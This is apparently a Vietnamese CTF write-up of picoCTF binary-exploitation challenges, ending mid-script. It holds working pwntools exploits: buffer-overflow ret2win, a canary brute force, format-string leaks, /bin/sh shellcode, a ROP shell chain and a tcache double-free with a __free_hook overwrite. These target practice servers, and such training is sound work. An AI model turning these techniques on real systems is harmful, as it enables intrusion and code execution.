{%hackmd @themes/dracula %} # (writeup) PicoGYM ## Binary Exploitation ### basic-file-exploit - ta nhận đc file source code, thì ta cứ compile nó trc đi ![](https://i.imgur.com/HEwqRFr.png) - ta sẽ dành ra vài phút cuộc đời đọc code xíu - ........ - ở đây ta thấy 1 thằng đọc flag ![](https://i.imgur.com/NPZYnCS.png) - hàm đọc flag đó sẽ có nếu ta nhập số 2 (data_read) - ngoài ra có **strtol** có chức năng đổi chuỗi về số, tức chuỗi mình nếu chỉ toàn ký tự thì trả về 0, miễn có chứa số trong chuỗi đó thì sẽ đếm từ 1 trở đi - và nếu *entry_number* là cái kết quả của hàm **strtol** = 0 thì sẽ in flag ![](https://i.imgur.com/OGY6470.png) - vậy ta netcat thử ![](https://i.imgur.com/812nb2Q.png) - hmmm, ta phải bước qua xác thằng số 1(data_write) ![](https://i.imgur.com/4HNCIW1.png) - check xem nào ![](https://i.imgur.com/qU8iIi6.png) - =))))))))))) >picoCTF{M4K3_5UR3_70_CH3CK_Y0UR_1NPU75_68466E2F} --- ### buffer overflow 0 - check file ![](https://i.imgur.com/qZ2MjYX.png) - check ida ![](https://i.imgur.com/m8XqZIz.png) - hmmmmmmmmm - run thử chương trình bên ngoài thử ![](https://i.imgur.com/Ijwdjhs.png) - =))))))))))))))))))))))))))))))))))))))))))) - thôi, netcat cho lẹ, viết script làm j ![](https://i.imgur.com/Imvmtis.png) > picoCTF{ov3rfl0ws_ar3nt_that_bad_8ba275ff} --- ### buffer overflow 1 - check file ![](https://i.imgur.com/ffoaiUH.png) > thề, ghét file 32 bit bỏ xừ, do trên ubuntu chỉ có ida64, muốn đọc trên ida32 phải chạy bằng win > mà ida64 hay ida32 trên win nó lỏ thực sự, cứ bị crash (NOT responding) - cũng hên có source code coi đỡ kkkkk - checksec ![](https://i.imgur.com/Z1Rr5Qy.png) - ta sẽ tìm offset ![](https://i.imgur.com/Cl3BAvY.png) ![](https://i.imgur.com/4QbYmAi.png) - đề cho 1 địa chỉ ret, hmmmm, nhưng lại có hàm **win** ![](https://i.imgur.com/ZiRsvAM.png) - kkk k j khác ngoài ret2win ![](https://i.imgur.com/KqMLG47.png) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./vuln',checksec=False) #p = process(exe.path) p = remote('saturn.picoctf.net', 58078) payload = b'A'*44 payload += p32(exe.sym['win']) p.sendlineafter(b'string: \n', payload) p.interactive() ``` > picoCTF{addr3ss3s_ar3_3asy_c76b273b} --- ### buffer overflow 2 - check file ![](https://i.imgur.com/8gD3Uvd.png) > lại file 32 - tự mình coi source code - lần này ở hàm win có thêm arg kiểm tra ![](https://i.imgur.com/iczRvVO.png) - tìm offset theo cách trên ta có 112 - nhảy đến hàm **win** - thêm từng arg ![](https://i.imgur.com/RpfmKgs.png) - hmmm, chưa được, có khi nào stack k dc chẵn để kiểm tra từng arg (kinh nghiệm phán đoán) - ta thêm ret vào đi ![](https://i.imgur.com/MvHIdJS.png) - finally.... ![](https://i.imgur.com/NmlRnJI.png) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./vuln',checksec=False) #p = process(exe.path) p = remote('saturn.picoctf.net', 56236) ret = 0x08049009 payload = b'A'*112 payload += p32(exe.sym['win']) payload += p32(ret) payload += p32(0xCAFEF00D) payload += p32(0xF00DF00D) p.sendlineafter(b'string: \n', payload) p.interactive() ``` >picoCTF{argum3nt5_4_d4yZ_31432deb} --- ### buffer overflow 3 - basic file check ![image](https://hackmd.io/_uploads/SJq2ex7L6.png) - source: ```c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include <wchar.h> #include <locale.h> #define BUFSIZE 64 #define FLAGSIZE 64 #define CANARY_SIZE 4 void win() { char buf[FLAGSIZE]; FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("%s %s", "Please create 'flag.txt' in this directory with your", "own debugging flag.\n"); fflush(stdout); exit(0); } fgets(buf,FLAGSIZE,f); // size bound read puts(buf); fflush(stdout); } char global_canary[CANARY_SIZE]; void read_canary() { FILE *f = fopen("canary.txt","r"); if (f == NULL) { printf("%s %s", "Please create 'canary.txt' in this directory with your", "own debugging canary.\n"); fflush(stdout); exit(0); } fread(global_canary,sizeof(char),CANARY_SIZE,f); fclose(f); } void vuln(){ char canary[CANARY_SIZE]; char buf[BUFSIZE]; char length[BUFSIZE]; int count; int x = 0; memcpy(canary,global_canary,CANARY_SIZE); printf("How Many Bytes will You Write Into the Buffer?\n> "); while (x<BUFSIZE) { read(0,length+x,1); if (length[x]=='\n') break; x++; } sscanf(length,"%d",&count); printf("Input> "); read(0,buf,count); if (memcmp(canary,global_canary,CANARY_SIZE)) { printf("***** Stack Smashing Detected ***** : Canary Value Corrupt!\n"); // crash immediately fflush(stdout); exit(0); } printf("Ok... Now Where's the Flag?\n"); fflush(stdout); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); // Set the gid to the effective gid // this prevents /bin/sh from dropping the privileges gid_t gid = getegid(); setresgid(gid, gid, gid); read_canary(); vuln(); return 0; } ``` - thông qua souce, thấy được rằng canary được lấy từ file 'canary.txt' tĩnh trên server ---> brute force 4 byte - rồi từ đó ret2win ~~ngắn gọn vậy thôi =))~~ ![image](https://hackmd.io/_uploads/SkoOylQL6.png) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./vuln',checksec=False) # p = process(exe.path) canary = [] for i in range(4): for j in range(0x100): p = remote('saturn.picoctf.net',54264) p.sendlineafter(b'> ',str(0x60)) payload = b'a'*0x40 payload += b''.join([p8(b) for b in canary]) + p8(j) p.sendafter(b'Input> ',payload) test = p.recv() if b'***** Stack Smashing Detected ***** ' not in test: log.info('byte found: ' + hex(j)[2:]) canary.append(j) break canary = u32(b''.join([p8(b) for b in canary])) log.info('canary: ' + hex(canary)) # canary = b'BiRd' p = remote('saturn.picoctf.net',54264) p.sendlineafter(b'> ',str(0x60)) payload = b'a'*0x40 payload += p32(canary) payload += b'b'*(0x10-4) payload += p32(0) payload += p32(exe.sym['win']) p.sendafter(b'Input> ',payload) p.interactive() ``` >picoCTF{Stat1C_c4n4r13s_4R3_b4D_14b7d39c} --- ### x-sixty-what - check file ![](https://i.imgur.com/map2B99.png) 🤌🤌🤌 - check ida ![](https://i.imgur.com/WcL2kCd.png) - checksec ![](https://i.imgur.com/AAR10dT.png) - check functions >flag >vuln >**main** - hàm **vuln** chỉ là **get()** ---> BOF - hàm **flag** quá chi là rõ ---> ret2win - tự tìm offset ta có 72 - rồi nhảy tới hàm **flag** ![](https://i.imgur.com/OCykkHJ.png) - hmm, theo hình thì ta nhảy dc hàm **flag** rồi, nhưng chưa đọc được, khả năng cao là stack lẻ - vẫn theo kinh nghiệm, +5 lên ![](https://i.imgur.com/moEEPlk.png) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./vuln',checksec=False) #p = process(exe.path) p = remote('saturn.picoctf.net', 56669) payload = b'A'*72 payload += p64(exe.sym['flag']+5) p.sendlineafter(b'flag: \n',payload) p.interactive() ``` > picoCTF{b1663r_15_b3773r_964d9987} --- ### flag leak - check file ![](https://i.imgur.com/wxTyZKf.png) - grrrrrrrr - checksec ![](https://i.imgur.com/qkRL3xI.png) - tự coi source thì thấy có hàm đọc flag ![](https://i.imgur.com/TN27xj2.png) - check hàm này thì thấy có *printf* chuỗi mình vừa nhập, khả năng là lỗi FMTSTR ![](https://i.imgur.com/bOJvRy8.png) - ta sẽ gdb và dừng ngay hàm *scanf* ![](https://i.imgur.com/qnhy5AJ.png) - leak thử thì chưa đúng ![](https://i.imgur.com/osG47au.png) - quên mất đây là file 32bit, k thể từ 6 tính lên dc - còn cách leak từ 0 đến 1 số nào đó chẳng hạn ![](https://i.imgur.com/JqUHD5c.png) - uầy, tại 20 có flag r nè ![](https://i.imgur.com/4yjQ6k9.png) ![](https://i.imgur.com/lRklftW.png) - tưởng bợ r - thôi thì cho chạy script trên server, chạy từ 10 đến 30 đi ![](https://i.imgur.com/W4VN7Rc.png) - tới đây lại %24, hmmmm - mà định dạng flag còn thiếu \<pico> >picoCTF{L34k1ng_Fl4g_0ff_St4ck_c2e94e3d} --- ### ropfu - check file ![](https://i.imgur.com/bTKkZGE.png) - checksec ![](https://i.imgur.com/8FiewMV.png) - cũng hên source code ngắn ngắn: ```c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #define BUFSIZE 16 void vuln() { char buf[16]; printf("How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!\n"); return gets(buf); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); // Set the gid to the effective gid // this prevents /bin/sh from dropping the privileges gid_t gid = getegid(); setresgid(gid, gid, gid); vuln(); } ``` - tìm offset ta dc 28 - cách 1: NX tắt thì ret2shellcode - payload ta truyền vào sẽ trả về 1 pointer nằm trong thanh ghi $eax ```gef $eax : 0xffffcf10 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAA" $ebx : 0x080e5000 → <_GLOBAL_OFFSET_TABLE_+0> add BYTE PTR [eax], al $ecx : 0x080e5300 → <_IO_2_1_stdin_+0> mov BYTE PTR [edx], ah $edx : 0xffffcf2c → 0x08049e00 → <main+47> push eax $esp : 0xffffcf00 → 0xffffcf10 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAA" $ebp : 0xffffcf28 → "AAAA" $esi : 0x080e5000 → <_GLOBAL_OFFSET_TABLE_+0> add BYTE PTR [eax], al $edi : 0x080e5000 → <_GLOBAL_OFFSET_TABLE_+0> add BYTE PTR [eax], al $eip : 0x08049dc9 → <vuln+52> add esp, 0x10 ``` - check stack pointer $eax ```gef gef➤ vm 0xffffcf10 [ Legend: Code | Heap | Stack ] Start End Offset Perm Path 0xfffdd000 0xffffe000 0x00000000 rwx [stack] ``` > stack thực thi được - tìm gadget ``jmp eax`` ![](https://hackmd.io/_uploads/B1ZxlFZsh.png) >0x0805334b - hướng đi ban đầu, payload ta sẽ gửi shellcode từ đầu rồi ``jmp eax`` nhưng có vẻ không được - vậy ta thử những byte payload đầu dùng ``nop`` để trượt xuống đến shellcode - ở $eip là ``jmp esp`` để cái ret tiếp theo là đến shellcode - asm: ```asm xor eax,eax ; xoá eax push eax ; đẩy NULL vào stack push 0x68732f2f ; đưa '//sh' push 0x6e69622f ; đưa '/bin' tạo chuỗi '/bin//sh\0' mov ebx,esp ; đưa vào ebx push eax ; đẩy NULL vào stack push eax ; tương tự pop ecx ; set NULL cho ecx pop edx ; set NULL cho edx mov al,0xb ; đưa execve là 0xb cho eax int 0x80 ; syscall ``` ![](https://hackmd.io/_uploads/Hk7nVtbsn.png) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./vuln',checksec=False) context.arch = 'i386' p = process(exe.path) #p = remote('saturn.picoctf.net', 50664) gdb.attach(p,gdbscript=''' b*vuln+47 b*vuln+59 c ''') input() jmp_eax = 0x0805334b nop = asm(''' nop ''',arch='i386') jump_esp = asm(''' jmp esp ''',arch='i386') shellcode = asm(''' xor eax,eax push eax push 0x68732f2f push 0x6e69622f mov ebx,esp push eax push eax pop ecx pop edx mov al,0xb int 0x80 ''',arch='i386') payload = nop*26 # nop có 1 byte payload += jump_esp # jmp esp có 2 byte ---> đủ offset 28 bytes payload += p32(jmp_eax) payload += shellcode p.sendlineafter(b'grasshopper!\n', payload) p.interactive() ``` - cách 2: (tên đề là 'ropfu' nên sẽ dùng kỹ thuật ROP) ![](https://i.imgur.com/RtrkESE.png) - ở đây có option ropchain, ta thử xem sao ![](https://i.imgur.com/NkH1MAE.png) - pwntools này nhiệt tình quá, hướng dẫn cho ta lun kkkkk ![](https://i.imgur.com/5GBg8lR.png) - script: ```python #!/usr/bin/python3 from pwn import * from struct import pack context.binary = exe = ELF('./vuln',checksec=False) #p = process(exe.path) p = remote('saturn.picoctf.net', 50664) pop_eax = 0x080b074a pop_edi = 0x0804b28f pop_esi = 0x0804ae7a pop_edx_ebx = 0x080583c9 syscall = 0x0806418d rw_section = 0x80e5050 payload = b'A'*28 payload += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret payload += pack('<I', 0x080e5060) # @ .data payload += pack('<I', 0x41414141) # padding payload += pack('<I', 0x080b074a) # pop eax ; ret payload += b'/bin' payload += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret payload += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret payload += pack('<I', 0x080e5064) # @ .data + 4 payload += pack('<I', 0x41414141) # padding payload += pack('<I', 0x080b074a) # pop eax ; ret payload += b'//sh' payload += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret payload += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret payload += pack('<I', 0x080e5068) # @ .data + 8 payload += pack('<I', 0x41414141) # padding payload += pack('<I', 0x0804fb90) # xor eax, eax ; ret payload += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret payload += pack('<I', 0x08049022) # pop ebx ; ret payload += pack('<I', 0x080e5060) # @ .data payload += pack('<I', 0x08049e39) # pop ecx ; ret payload += pack('<I', 0x080e5068) # @ .data + 8 payload += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret payload += pack('<I', 0x080e5068) # @ .data + 8 payload += pack('<I', 0x080e5060) # padding without overwrite ebx payload += pack('<I', 0x0804fb90) # xor eax, eax ; ret payload += pack('<I', 0x0808055e) # inc eax ; ret payload += pack('<I', 0x0808055e) # inc eax ; ret payload += pack('<I', 0x0808055e) # inc eax ; ret payload += pack('<I', 0x0808055e) # inc eax ; ret payload += pack('<I', 0x0808055e) # inc eax ; ret payload += pack('<I', 0x0808055e) # inc eax ; ret payload += pack('<I', 0x0808055e) # inc eax ; ret payload += pack('<I', 0x0808055e) # inc eax ; ret payload += pack('<I', 0x0808055e) # inc eax ; ret payload += pack('<I', 0x0808055e) # inc eax ; ret payload += pack('<I', 0x0808055e) # inc eax ; ret payload += pack('<I', 0x0804a3d2) # int 0x80 p.sendlineafter(b'grasshopper!\n', payload) #p.sendline(b'/bin/sh') p.interactive() ``` >picoCTF{5n47ch_7h3_5h311_c6992ff0} --- ### function overwrite - check file ![](https://i.imgur.com/De7IDXg.png) - checksec ![](https://i.imgur.com/3nIhZl0.png) - từ tên đề, ta đoán phải OW các hàm, cũng như các biến - ở đây ta có những hàm nên quan tâm: >check >fun >easy_checker >hard_checker - tìm địa chỉ ![](https://i.imgur.com/4fuNQWy.png) ```c printf("Tell me a story and then I'll tell you if you're a 1337 >> "); scanf("%127s", story); printf("On a totally unrelated note, give me two numbers. Keep the first one less than 10.\n"); scanf("%d %d", &num1, &num2); if (num1 < 10) { fun[num1] += num2; } check(story, strlen(story)); } ``` - ở đoạn code trên, ta thấy nhận 2 số ``%d %d`` lần lượt là **num1** và **num2**, hàm **check** sẽ xem cái sì to rì của mình ```c void (*check)(char*, size_t) = hard_checker; int fun[10] = {0}; ``` - địa chỉ của **check** trỏ tới **hard_checker** - nhưng hàm **hard_checker** nó kiểm tra số 13371337 trong khi **easy_checker** chỉ cần 1337 ![](https://i.imgur.com/oDtElIn.png) - payload là 'abcdefghijklk' - bug chính: ```c fun[num1] += num2; // mảng fun, idx là num1, tại idx num1 thao tác += num2 // cần truyền num1 sẽ trỏ đến check // và num2 sẽ thay đổi từ check->hard_checker sang check->easy_checker ``` - vậy ta cần ***check** đến **easy_checker** thay vì cái **hard_checker** (do địa chỉ **hard** lớn hơn **easy** nên ta sẽ trừ ra) > 0x8049436 - 0x80492fc 314 - vì do **fun** là mảng, nôm na tương tự 1 pointer nên ta sẽ lợi dụng mảng **fun** đưa vào index num1 là offset giữa **fun** và **check** > 0x804c080 - 0x804c040 64 - vì 64 byte nên đưa vào mảng ta phải chia 4 (vì num1 dc khai báo là int) ``` # pointer fun point check, check point hard_checker # sub 314 to point easy__checker ``` ![](https://i.imgur.com/vdn7paN.png) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe =ELF('./vuln',checksec=False) #p = process(exe.path) p = remote('saturn.picoctf.net', 53550) check = 0x804c040 fun = 0x804c080 #offset = 64 easy_checker = 0x80492fc hard_checker = 0x8049436 #offset = 314 payload = b'abcdefghijklk' p.sendlineafter(b'>> ',payload) payload = b'-16 -314' p.sendlineafter(b'10.',payload) p.interactive() ``` >picoCTF{0v3rwrit1ng_P01nt3rs_698c2a26} --- ### stack cache - check file ![](https://i.imgur.com/zFpowxZ.png) - author ghiền file 32bit .... - checksec ![](https://i.imgur.com/IRqnFTp.png) - check source code ![](https://i.imgur.com/YliBuOW.png) - ta thấy 2 hàm này khả nghi, nhưng trong main lại k có xuất hiện, tức là bị ẩn đi - ta sẽ kiếm addr chúng nó trc ![](https://i.imgur.com/Wk6g0SX.png) - hàm **win** sẽ đọc flag từ ***buf***, ***buf*** có từ hàm **vuln** ![](https://i.imgur.com/RB2P3Da.png) - hmmm, sau khi thực thi hàm vuln thì ta nên jump tới **win** để đọc ***buf***, rồi jump tới **UnderConstruction** xem sao - vậy ta sẽ kiếm offset từ **vuln** ![](https://i.imgur.com/ID72zeY.png) - sau khi nhập cỡ 20 bytes A, thì ta thấy đã OW dc $ebp, và sau đó lại dư 6 bytes A, đoán đc offset là 14 - thử lại lần nữa cho chắc, nhập 25 bytes A đi ![](https://i.imgur.com/8tOOSck.png) - sau $ebp là có 2 dòng tràn, dòng trên tràn 11 bytes A thì 25 - 11 vẫn ra 14, hmmmmmm ``` 0xffffd008│+0x0018: "AAAAAAAAAAAAAAA" ← $ebp 0xffffd00c│+0x001c: "AAAAAAAAAAA" 0xffffd010│+0x0020: "AAAAAAA" ``` - thử với 30 bytes A thì sẽ ra 16, vậy chắc nịch offset là 14 r ![](https://i.imgur.com/fRmBr2u.png) - ta thấy sau khi nhập vào lượng bytes đó, $esp dg trỏ tới stack(màu tím) trỏ tới dữ liệu rác - vì mình muốn jump tới hàm **win** nên $eip là thanh ghi thích hợp để nhảy, còn $esp là thanh ghi thích hợp để trỏ - thế thì ta sẽ nhảy tới **win**, sau đó thì tới **UnderConstruction** ![](https://i.imgur.com/jKzxfyF.png) - như hình là ta trỏ đến đúng **UnderConstruction**, thế thì số hexadecimal ngta cho đó là gì - ta convert về ascii xem thử nó muốn nói điều chi ![](https://i.imgur.com/c64mRy7.png) - do có tạo file *flag.txt* từ máy là ``KCSC{this_is_fake_flag!!!}``, nhưng trong hình thì ta thấy chữ bị in ngược, cộng với 1 số chữ vô nghĩa - kết nối sever thử ![](https://i.imgur.com/m9G89C1.png) - định dạng flag lại theo ``picoCTF{}`` > picoCTF{Cle4N_uP_mem0rY_4c1cd4ab} --- ### wine - ở bài này hơi khác là author cho ta file *.exe* - ta gg thì thấy cách run file *.exe* ![](https://i.imgur.com/MwLOSZ7.png) - khá giống tên đề bài kkkkkk - cài thử và run dc: ![](https://i.imgur.com/6IhEIn1.png) - trong source code ta thấy hàm **win**, khả năng cao là ret2win ```c void win(){ char buf[FLAGSIZE]; FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("flag.txt not found in current directory.\n"); exit(0); } fgets(buf,FLAGSIZE,f); // size bound read puts(buf); fflush(stdout); } void vuln() { printf("Give me a string!\n"); char buf[128]; gets(buf); } int main(int argc, char **argv) { setvbuf(stdout, NULL, _IONBF, 0); vuln(); return 0; } ``` - nhưng chắc file đó k gdb dc - nên thử chỉnh source code để in ra hàm **win** ```c void vuln() { printf("win address: %p\n",win); printf("Give me a string!\n"); char buf[128]; gets(buf); } ``` ![](https://i.imgur.com/nC36NBe.png) - sau khi run nhiều lần, ta thấy địa chỉ **win** luôn thay đổi - hmmmm - ida cái file *.exe* luôn ![](https://i.imgur.com/xJt56D2.png) - ta decompile k dc nhưng ta có thể coi function _win - thì thấy ngay góc này có addr của _win ![](https://i.imgur.com/eo5cjoo.png) > 0x401530 - v thì ta thử ret2win - offset ta coi source code thì thấy 128 ![](https://i.imgur.com/6DVHOOy.png) - thử với 128 byte A thì có lẽ chưa bị core dump ![](https://i.imgur.com/3skiKcn.png) - với 150 thì đã bị core dump - ta lui về xíu cỡ 140 thì thấy ở 140 đã bị core dump - thử tiếp với 139, 138,... ![](https://i.imgur.com/qqM5lhX.png) ![](https://i.imgur.com/PmH5BFK.png) - thì ở lần nhập cuối là 136 byte, nhận thấy đây là file 32 nên là save_ebp là 136, tới eip là 140 - ta thử gửi 140 byte kèm với địa chỉ _win ![](https://i.imgur.com/GoUPJ5u.png) - script: ```python #!/usr/bin/python3 from pwn import * p = remote('saturn.picoctf.net', 54929) payload = b'A'*140 payload += p32(0x401530) p.sendline(payload) p.interactive() ``` > picoCTF{Un_v3rr3_d3_v1n_8ab00bc8} --- ### CVE-XXXX-XXXX - ở bài này k cho file j cả, kha khá giống osint - ta tìm thử ![](https://i.imgur.com/Zjnb1TK.png) ![](https://i.imgur.com/YYrSJjz.png) ![](https://i.imgur.com/Cqub9yG.png) - =))))))))))))) > picoCTF{CVE-2021-34527} --- ### stonks - chal này ngta cho source: ```c #include <stdlib.h> #include <stdio.h> #include <string.h> #include <time.h> #define FLAG_BUFFER 128 #define MAX_SYM_LEN 4 typedef struct Stonks { int shares; char symbol[MAX_SYM_LEN + 1]; struct Stonks *next; } Stonk; typedef struct Portfolios { int money; Stonk *head; } Portfolio; int view_portfolio(Portfolio *p) { if (!p) { return 1; } printf("\nPortfolio as of "); fflush(stdout); system("date"); // TODO: implement this in C fflush(stdout); printf("\n\n"); Stonk *head = p->head; if (!head) { printf("You don't own any stonks!\n"); } while (head) { printf("%d shares of %s\n", head->shares, head->symbol); head = head->next; } return 0; } Stonk *pick_symbol_with_AI(int shares) { if (shares < 1) { return NULL; } Stonk *stonk = malloc(sizeof(Stonk)); stonk->shares = shares; int AI_symbol_len = (rand() % MAX_SYM_LEN) + 1; for (int i = 0; i <= MAX_SYM_LEN; i++) { if (i < AI_symbol_len) { stonk->symbol[i] = 'A' + (rand() % 26); } else { stonk->symbol[i] = '\0'; } } stonk->next = NULL; return stonk; } int buy_stonks(Portfolio *p) { if (!p) { return 1; } char api_buf[FLAG_BUFFER]; FILE *f = fopen("api","r"); if (!f) { printf("Flag file not found. Contact an admin.\n"); exit(1); } fgets(api_buf, FLAG_BUFFER, f); int money = p->money; int shares = 0; Stonk *temp = NULL; printf("Using patented AI algorithms to buy stonks\n"); while (money > 0) { shares = (rand() % money) + 1; temp = pick_symbol_with_AI(shares); temp->next = p->head; p->head = temp; money -= shares; } printf("Stonks chosen\n"); // TODO: Figure out how to read token from file, for now just ask char *user_buf = malloc(300 + 1); printf("What is your API token?\n"); scanf("%300s", user_buf); printf("Buying stonks with token:\n"); printf(user_buf); // TODO: Actually use key to interact with API view_portfolio(p); return 0; } Portfolio *initialize_portfolio() { Portfolio *p = malloc(sizeof(Portfolio)); p->money = (rand() % 2018) + 1; p->head = NULL; return p; } void free_portfolio(Portfolio *p) { Stonk *current = p->head; Stonk *next = NULL; while (current) { next = current->next; free(current); current = next; } free(p); } int main(int argc, char *argv[]) { setbuf(stdout, NULL); srand(time(NULL)); Portfolio *p = initialize_portfolio(); if (!p) { printf("Memory failure\n"); exit(1); } int resp = 0; printf("Welcome back to the trading app!\n\n"); printf("What would you like to do?\n"); printf("1) Buy some stonks!\n"); printf("2) View my portfolio\n"); scanf("%d", &resp); if (resp == 1) { buy_stonks(p); } else if (resp == 2) { view_portfolio(p); } free_portfolio(p); printf("Goodbye!\n"); exit(0); } ``` - ở đây nó có file "api" ```c int buy_stonks(Portfolio *p) { if (!p) { return 1; } char api_buf[FLAG_BUFFER]; FILE *f = fopen("api","r"); if (!f) { printf("Flag file not found. Contact an admin.\n"); exit(1); } fgets(api_buf, FLAG_BUFFER, f); ``` - ta compile thử ``gcc vuln -o vuln.c`` - ta thấy 1 lỗi fmtstr ngay đây ```c char *user_buf = malloc(300 + 1); printf("What is your API token?\n"); scanf("%300s", user_buf); printf("Buying stonks with token:\n"); printf(user_buf); ``` - ta gdb và dừng ngay scanf có lỗi fmtstr thì thấy trên stack có flag: ![](https://i.imgur.com/gF7TW5s.png) - từ %12 trở đi ![](https://i.imgur.com/DhXdHLV.png) - flag hơi rối do dùng p64() ```python result = p64(int(out.decode(), 16)) flag += result ``` ![](https://i.imgur.com/jBnh1Ge.png) - script: ```python #!/usr/bin/python3 from pwn import * flag = b'' for i in range(12, 25): p = remote("mercury.picoctf.net", 27912) p.sendlineafter("do?\n", "1") p.sendlineafter("token?\n", f"%{i}$p") p.recvuntil("Buying stonks with token:\n") out = p.recvline() try: result = p32(int(out.decode(), 16)) flag += result except: pass p.recvall() print(flag) p.interactive() ``` > picoCTF{I_l05t_4ll_my_m0n3y_1cf201a0} --- ### zero_to_hero - check file + checksec ![](https://hackmd.io/_uploads/BkxIAB1i2.png) - check ida (file bị stripped nên renamed như sau) ![](https://hackmd.io/_uploads/rkLKRryjh.png) > **main()** ![](https://hackmd.io/_uploads/rkbhASkon.png) > **delete()** ![](https://hackmd.io/_uploads/B1YaRSJin.png) > **add()** ![](https://hackmd.io/_uploads/Sy30ArJsn.png) > **win()** ![](https://hackmd.io/_uploads/SJTK9Iyjn.png) > win_addr: 0x400a02 - nhìn sơ qua ida, có thể thấy chương trình k set ``NULL`` cho con trỏ sau khi free 1 chunk, trigger thử DBF ![](https://hackmd.io/_uploads/B1vpQLyin.png) > free(): double free detected in tcache 2 - nhưng lại có 1 bug khác: ![](https://hackmd.io/_uploads/rkYJbI1i3.png) ![](https://hackmd.io/_uploads/Sy79W81sh.png) > nhờ chat gpt 1 tí ◑﹏◐ - tức là ta có thể dùng kỹ thuật ``poison null byte`` hay còn gọi là ``off by one`` (này khác với trong cách khai thác BOF) > là ta có thể ghi thêm ``NULL`` byte vào cuối mỗi payload để ow vào bên dưới metadata của chunk sau > nhưng ở bài này lại cho sẵn kkkk - vậy nếu thêm ``NULL`` vào metadata của chunk sau ---> thay đổi size - nhưng giả sử size của chunk sau là 0x31 ---> set thành 0x00 sẽ có thể bị crashed chương trình (k thể tồn tại 1 chunk đang chứa dữ liệu nhưng lại có size = 0) - ta sẽ set chunk sau thành 0x101 ---> poison thành size 0x100 (size không thay đổi, chỉ conrupted ``PREV_INUSE``, cho biến chunk đó chưa đc phân bổ) - nhưng như vậy thì hơi cấn cấn khi **free()** chunk này lắm (do chỉ thay đổi bit INUSE ---> poison vô nghĩa) - vậy ta sẽ tạo 2 chunk, với chunk sau có size là 0x111 rồi **free()** chunk 2 để đưa pointer vào tcache_bin - và nếu ta ow size chunk2 từ chunk 1 thì khi tiếp tục **free()** chunk 2 sẽ trigger được DBF (bypass được lỗi check ở tcache) ```gef [chunk1]: 0x0000000000000000 0x0000000000000031 0xdeadbeefcafebabe 0xdeadbeefcafebabe 0xdeadbeefcafebabe 0xdeadbeefcafebabe [chunk2]: 0xdeadbeefcafebabe 0x0000000000000111 ... ``` - after ```gef [chunk1]: 0x0000000000000000 0x0000000000000031 0xdeadbeefcafebabe 0xdeadbeefcafebabe 0xdeadbeefcafebabe 0xdeadbeefcafebabe [chunk2]: 0xdeadbeefcafebabe 0x0000000000000100 <- poison null byte!!! ... ``` - exploit: - từ ida, ta có thấy chal cho địa chỉ hàm **system** ---> leak libc base - nhưng lại cho thêm hàm **win()**, get_shell hay get_win ? =)))))))))) - idea sẽ là ow **win()** vào ``__free_hook``, để khi call **free()** one more time will execute **win()** - size ta sẽ lấy size liếm qua prev_size luôn (ví dụ cần size 0x31 thì malloc 0x28 để poison ``NULL`` byte cho size) ![](https://hackmd.io/_uploads/Bk_tOcko2.png) > sau khi malloc 2 chunk, free chunk 2 rồi chunk 1, reallocate chunk 1 sửa size chunk2 và free chunk 2 > chương trình k bị lỗi ---> bypass check của tcache - khi đã trigger dc DBF, ta có thể sửa fw pointer chunk 2 ---> ow ``__free_hook`` ![](https://hackmd.io/_uploads/rkXg2ckon.png) ![](https://hackmd.io/_uploads/Hy1cjqks3.png) > malloc thêm 1 đoạn nhỏ có size là 0x100 (cụ thể là 0xf8) để có thể lấy chunk đã poison NULL byte là 0x100 reallocate lần nữa ---> sửa fw - tiếp tục malloc để reused bin cho tcache trống ![](https://hackmd.io/_uploads/HykQn5Ji3.png) > lúc này tcache_bin còn chunk 1, chứa fw là __free_hook (thành fake chunk rồi kkkk) > ta cần sửa content __free_hook (đang là 0) thành địa chỉ hàm **win()** ![](https://hackmd.io/_uploads/B1SFZiysn.png) > bingo - việc bây giờ là **free()** 1 phát nữa là có flag ![](https://hackmd.io/_uploads/BJGykPJi3.png) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./zero_to_hero_patched', checksec=False) libc = ELF('./libc.so.6',checksec=False) ld = ELF('./ld-2.29.so',checksec=False) def GDB(): if not args.REMOTE: gdb.attach(p, gdbscript=''' b*0x0000000000400B92 b*0x0000000000400C2E c ''') input() info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) if args.REMOTE: p = remote('jupiter.challenges.picoctf.org', 29476) else: p = process(exe.path) GDB() def add(size,data): sla(b'> ',b'1') sla(b'> ',str(size)) sa(b'> ',data) def delete(idx): sla(b'> ',b'2') sla(b'> ',str(idx)) win = 0x00400a02 info('win_addr: ' + hex(win)) sla(b'hero?\n',b'y') p.recvuntil(b'this: ') system = int(p.recvline()[:-1],16) info('system addr: ' + hex(system)) libc.address = system - libc.sym['system'] info('libc base: ' + hex(libc.address)) add(40,b'aaaa') #chunk 1 add(264,b'bbbb') #chunk 2 delete(1) #free chunk 2 delete(0) #free chunk 1 to rewrite add(40,b'a'*40) #ow size chunk 2 delete(1) #trigger DBF #tcache_bin have 2 pointer with have the sme size and the same addr 